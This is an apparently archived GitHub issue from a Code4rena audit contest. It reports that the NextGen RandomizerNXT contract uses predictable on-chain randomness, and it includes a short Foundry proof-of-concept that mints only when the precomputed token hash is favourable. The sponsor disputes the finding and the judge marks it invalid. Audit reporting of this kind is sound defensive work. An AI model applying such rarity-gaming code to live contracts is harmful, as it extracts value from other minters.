Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bad source of randomness #163

Closed
c4-submissions opened this issue Nov 2, 2023 · 6 comments
Closed

Bad source of randomness #163

c4-submissions opened this issue Nov 2, 2023 · 6 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-1901 sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L35
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/XRandoms.sol#L40
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerNXT.sol#L57

Vulnerability details

Impact

The custom made randomizer contract RandomizerNXT uses on chain randomness which can be gamed to mint NFTs with a certain rarity or desired feature.

An attacker can predetermine the result of calculateTokenHash() and only choose to mint if the result is desirable.

Proof of Concept

In this example we use a fixed price sale where NFTs are sold for 1 ETH.

The attacker calculates the hash and only mints if the result is favourable to them.


uint collectionId = 5;

uint256 mintIndex = hhCore.viewTokensIndexMin(collectionId) + hhCore.viewCirSupply(collectionId);

// desirable nfts have a token hash that ends with 99
// we only want to mint an nft if the token hash ends with 99

vm.startPrank(attacker);

if (uint(hhCore.retrieveTokenHash(mintIndex)) % 100 == 99) {
    // mint 1 token from collection 5
    bytes32[] memory merkleRoot = new bytes32[](1);

    hhMinter.mint{value: 1 ether}(
        collectionId, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        attacker, // _mintTo
        merkleRoot, // _merkleRoot
        addr1, // _delegator
        2 //_varg0
    );
}

vm.stopPrank();

Tools Used

Foundry

Recommended Mitigation Steps

The solution which is to use a more secure source of randomness is already implemented in the 2 other randomizers that use VRF's.

This means the weak randomness from RandomizerNXT and XRandoms is redundant and can be safely removed.

Assessed type

Other

@c4-submissions c4-submissions added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Nov 2, 2023
c4-submissions added a commit that referenced this issue Nov 2, 2023
@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Nov 15, 2023
@c4-pre-sort
Copy link

141345 marked the issue as primary issue

This was referenced Nov 15, 2023
@c4-sponsor
Copy link

a2rocket (sponsor) disputed

@c4-sponsor c4-sponsor added the sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue label Nov 23, 2023
@c4-pre-sort
Copy link

141345 marked the issue as sufficient quality report

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Nov 27, 2023
@c4-judge c4-judge closed this as completed Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked the issue as duplicate of #1901

@c4-judge c4-judge added duplicate-1901 and removed primary issue Highest quality submission among a set of duplicates labels Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 5, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Dec 5, 2023
@c4-judge
Copy link

c4-judge commented Dec 5, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-1901 sponsor disputed Sponsor cannot duplicate the issue, or otherwise disagrees this is an issue sufficient quality report This report is of sufficient quality unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants